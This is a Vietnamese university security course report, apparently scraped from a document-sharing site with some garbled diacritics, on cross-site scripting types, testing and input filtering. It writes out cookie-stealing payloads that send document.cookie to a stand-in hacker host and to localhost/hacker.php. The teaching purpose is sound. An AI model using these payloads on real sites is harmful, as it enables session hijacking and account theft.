BÁO CÁO ĐỒ ÁN MÔN AN TOÀN BẢO MẬT HỆ THỐNG THÔNG TIN Đề tài Tấn công và phòng chống XSS

18 11 0
BÁO CÁO ĐỒ ÁN MÔN AN TOÀN BẢO MẬT HỆ THỐNG THÔNG TIN Đề tài Tấn công và phòng chống XSS

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

kubin23012017@gmail.com ỦY BAN NHÂN DÂN TP HỒ CHÍ MINH TRƯỜNG ĐẠI HỌC SÀI GỊN KHOA CƠNG NGHỆ THƠNG TIN BÁO CÁO ĐỒ ÁN MƠN AN TỒN BẢO MẬT HỆ THỐNG THƠNG TIN Đề tài: Tấn cơng phịng chống XSS Họ tên thành viên nhóm 18: Tạ Tấn Đạt 3119410088 Bùi Nguyễn Khánh Duy 3119410068 Trương Hồng Phát 3119410302 Giảng viên hướng dẫn: Thầy Trương Tấn Khoa TP HỒ CHÍ MINH, THÁNG NĂM 2022 kubin23012017@gmail.com Mục lục XSS gì? Tấn cơng XSS đươc thực nào? Các loại công XSS 3.1 Reflected XSS 3.2 Stored XSS 3.3 DOM Based XSS Cách để kiểm thử công XSS Cách ngăn chặn XSS Demo công XSS kubin23012017@gmail.com XSS XSS gì? Cross Site Scripting (XSS) công phổ biến dễ bị công Nó coi cơng nguy hiểm ứng dụng web mang lại hậu nghiêm trọng Tấn công XSS đoạn mã độc, để khái thác lỗ hổng XSS, hacker chèn mã độc thông qua đoạn script để thực thi chúng phía Client Thông thường, công XSS sử dụng để vượt qua truy cập mạo danh người dùng Mục đích cơng ăn cắp liệu nhận dạng người dùng như: cookies, session tokens thông tin khác Trong hầu hết trường hợp, công sử dụng để ăn cắp cookie người khác Như biết, cookie giúp người dùng đăng nhập tự động Do với cookie bị đánh cắp, hacker đăng nhập thơng tin nhận dạng khác Và lý do, công coi công nguy hiểm Tấn công XSS thực phía client Nó thực với ngơn ngữ lập trình phía client khác Tuy nhiên, thường xuyên công thực với Javascript HTML Tấn công XSS đươc thực nào? Tấn công Cross Site Scripting nghĩa gửi chèn lệnh script độc hại, mã độc thường viết với ngơn ngữ lập trình phía client JavaScript, HTML, VBScript, Flash… Tuy nhiên, cách công thông thường sử dụng JavaScript HTML Cách công thực theo nhiều cách khác nhau, phụ thuộc vào loại công XSS, mã độc phản chiếu trình duyệt nạn nhân lưu trữ sở liệu chạy người dùng gọi chức thích hợp Ngun nhân loại cơng xác thực đầu vào liệu người dùng không phù hợp, liệu độc hại từ đầu vào kubin23012017@gmail.com xâm nhập vào liệu đầu Mã độc nhập script chèn vào mã nguồn website Khi trình duyệt khơng thể biết mã thực thi có phải độc hại hay khơng Do mã độc hại thực thi trình duyệt nạn nhận hình thức giả hiển thị cho người sử dụng Có số hình thức cơng XSS xảy Bên hình thức cơng Cross Site Scripting: ​ Cross Site Scripting xảy tập lệnh độc hại thực phía client ​ Trang web form giả mạo hiển thị cho người dùng (nơi nạn nhân nhập thông tin đăng nhập nhấp vào liên kết độc hại) ​ Trên trang web có quảng cáo hiển thị ​ Email độc hại gửi đến nạn nhân Tấn công xảy tin tặc tìm kiếm lỗ hổng website gửi làm đầu vào độc hại Tập lệnh độc hại tiêm vào mã lệnh sau gửi dạng đầu cho người dùng cuối Các loại cơng XSS: 3.1 Reflected XSS: Có nhiều hướng để khai thác thông qua lỗi Reflected XSS, cách biết đến nhiều chiếm phiên làm việc (session) người dùng, từ truy cập liệu chiếm quyền họ website Chi tiết mô tả qua bước sau: kubin23012017@gmail.com Người dùng đăng nhập web giả sử gán session: Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 Bằng cách đó, hacker gửi cho người dùng URL: http://example.com/name=var+i=new+Image;+i.src=”http:// hackersite.net/”%2Bdocument.cookie; Giả sử example.com website nạn nhân truy cập, hacker-site.net trang hacker tạo Nạn nhân truy cập đến URL Server phản hồi cho nạn nhân, kèm với liệu có request (đoạn javascript hacker) Trình duyệt nạn nhân nhận phản hồi thực thi đoạn javascript Đoạn javascript mà hacker tạo thực tế sau: var i=new Image; i.src=”http://hacker-site.net/”+document.cookie; Dòng lệnh chất thực request đến site hacker với tham số cookie người dùng: GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/ kubin23012017@gmail.com Host: hacker-site.net Từ phía site mình, hacker bắt nội dung request coi session người dùng bị chiếm Đến lúc này, hacker giả mạo với tư cách nạn nhân thực quyền website mà nạn nhân có 3.2 Stored XSS: Khác với Reflected công trực tiếp vào số nạn nhân mà hacker nhắm đến, Stored XSS hướng đến nhiều nạn nhân Lỗi xảy ứng dụng web không kiểm tra kỹ liệu đầu vào trước lưu vào sở liệu (ở dùng khái niệm để database, file hay khu vực khác nhằm lưu trữ liệu ứng dụng web) Ví dụ form góp ý, comment … trang web Với kỹ thuật Stored XSS , hacker không khai thác trực tiếp mà phải thực tối thiểu qua bước Đầu tiên hacker thông qua điểm đầu vào (form, input, textarea…) không kiểm tra kỹ để chèn vào CSDL đoạn mã nguy hiểm kubin23012017@gmail.com Tiếp theo, người dùng truy cập vào ứng dụng web thực thao tác liên quan đến liệu lưu này, đoạn mã hacker thực thi trình duyệt người dùng Kịch khai thác: kubin23012017@gmail.com Reflected XSS Stored XSS có khác biệt lớn q trình cơng: - Thứ nhất, để khai thác Reflected XSS, hacker phải lừa nạn nhân truy cập vào URL Cịn Stored XSS khơng cần phải thực việc này, sau chèn mã nguy hiểm vào CSDL ứng dụng, hacker việc ngồi chờ nạn nhân tự động truy cập vào Với nạn nhân, việc hồn tồn bình thường họ khơng hay biết liệu truy cập bị nhiễm độc - Thứ 2, mục tiêu hacker dễ dàng đạt thời điểm công nạn nhân phiên làm việc(session) ứng dụng web Với Reflected XSS, hacker thuyết phục hay lừa nạn nhân đăng nhập truy cập đến URL mà ta cung cấp để thực thi mã độc Nhưng Stored XSS khác, mã độc lưu CSDL Web nên người dùng truy cập chức liên quan mã độc thực thi, nhiều khả chức yêu cầu phải xác thực(đăng nhập) trước nên hiển nhiên thời gian người dùng phiên làm việc Từ điều thấy Stored XSS nguy hiểm Reflected XSS nhiều, đối tượng bị ảnh hưởng tất người sử dụng ứng dụng web Và nạn nhân có vai trị quản trị cịn có nguy bị chiếm quyền điều khiển web 3.3 DOM Based XSS: kubin23012017@gmail.com DOM Based XSS kỹ thuật khai thác XSS dựa việc thay đổi cấu trúc DOM tài liệu, cụ thể HTML Chúng ta xem xét ví dụ cụ thể sau Một website có URL đến trang đăng ký sau: http://example.com/register.php?message=Please fill in the form Khi truy cập đến thấy Form bình thường Thay truyềnmessage=Please fill in the formthì truyền: message=Gender MaleFemale function show(){alert();} Khi form đăng ký trở thành này: kubin23012017@gmail.com Người dùng chẳng chút nghi ngờ với form “bình thường” này, lựa chọn giới tính, Script thực thi Kịch khai thác: Cách để kiểm thử công XSS: Trước tiên, để kiểm thử công XSS, kiểm thử hộp đen thực Nó có nghĩa là, test mà khơng cần xem xét code Tuy nhiên, xem xét code việc nên làm mang lại kết đáng tin cậy Ví dụ, tester thử nhập trình duyệt đoạn script sau: alert(document.cookie) kubin23012017@gmail.com Nếu script thực hiện, có khả lớn, XSS Ngồi ra, kiểm thử thủ cơng để cơng Cross Site Scripting, điều quan trọng cần nhớ dấu ngoặc mã hóa nên thử Cách ngăn chặn XSS: ​ Sử dụng lọc tự tạo từ thư viện để lọc bỏ thẻ HTML/CSS/scripts khỏi liệu nhập từ người dùng ​ Sử dụng biểu thức quy để tăng hiệu lọc ​ Các lọc cần cập nhật thường xuyên để theo kịp thay đổi kỹ thuật công XSS ​ Các lọc liệu nhập phải thực máy chủ (vì thực máy khách bị vơ hiệu hóa dễ dàng) B Input Encoding: Mã hóa đầu vào trở thành vị trí trung tâm cho tất lọc, đảm bảo có điểm cho tất lọc Mã hóa phía máy chủ tiến trình mà tất nội dung phát sinh động qua hàm mã hóa nơi mà thẻ script thay thể mã Nói chung, việc mã hóa (encoding) khuyến khích sử dụng khơng u cầu bạn phải đưa định kí tự hợp lệ khơng hợp lệ.Tuy nhiên việc mã hóa tất liệu khơng đáng tin cậy tốn tài nguyên ảnh hưởng đến khả thực thi số máy chủ kubin23012017@gmail.com Demo công XSS: kubin23012017@gmail.com Stored XSS: B1: Đầu tiên ta giao diện trang them danh mục B2: Tại phần tên danh mục ta không thêm bình thường mà chèn vào đoạn script: "window.location="http://localhost/hacker.php? cookie="+document.cookie" Lúc lưu vào CSDL Khách hàng đăng nhập vào trang web kubin23012017@gmail.com Cookie đăng nhập nạn nhân bị chuyển qua bên server hacker, hacker dùng để đánh cấp phiên làm việc nạn nhân Reflected XSS Giả sử: hacker gửi mail cho nạn nhân có nội dung đường link:http://localhost/QLBTC/vegetable/index.php?search=%22%3Cscript %3Ewindow.location%3D%22http%3A%2F%2Flocalhost%2Fhacker.php %3Fcookie%3D%22%2Bdocument.cookie%3C%2Fscript%3E %22&btnSearch= Nạn nhân click vào đường link lúc cookie nạn bị gửi qua máy hacker Đường link nạn nhân ấn vào kubin23012017@gmail.com Cookie nạn nhân bị đánh cắp DOM XSS Ta chèn câu lệnh sau: http://localhost/QLBTC/customer/login.php? message=Gender MaleFemale function show(){alert(document.cookie);} Lúc cấu trúc trang web bị thay đổi, người dùng thao tác vơ tình thực thi đoạn script gửi liệu qua cho hacker kubin23012017@gmail.com Demo phịng thủ XSS Filter Ta tránh việc công XSS cách lọc đầu vào Sử dụng phương thức filter.var() để thực chức Ta thêm đoạn code: $str=filter_var($_GET['name'],FILTER_SANITIZE_STRING); Lúc dù hacker có cơng khơng thể đầu vào bị lọc trước xử lý kubin23012017@gmail.com Thử nhập đoạn script để công Đầu vào bị lọc dẫn đến đoạn script không thực thi Regular Expression Kiểm tra đầu vào cách để phòng chống cơng XSS Nếu đầu vào có dấu “

Ngày đăng: 15/06/2022, 10:12

Tài liệu cùng người dùng

  • Đang cập nhật ...

Tài liệu liên quan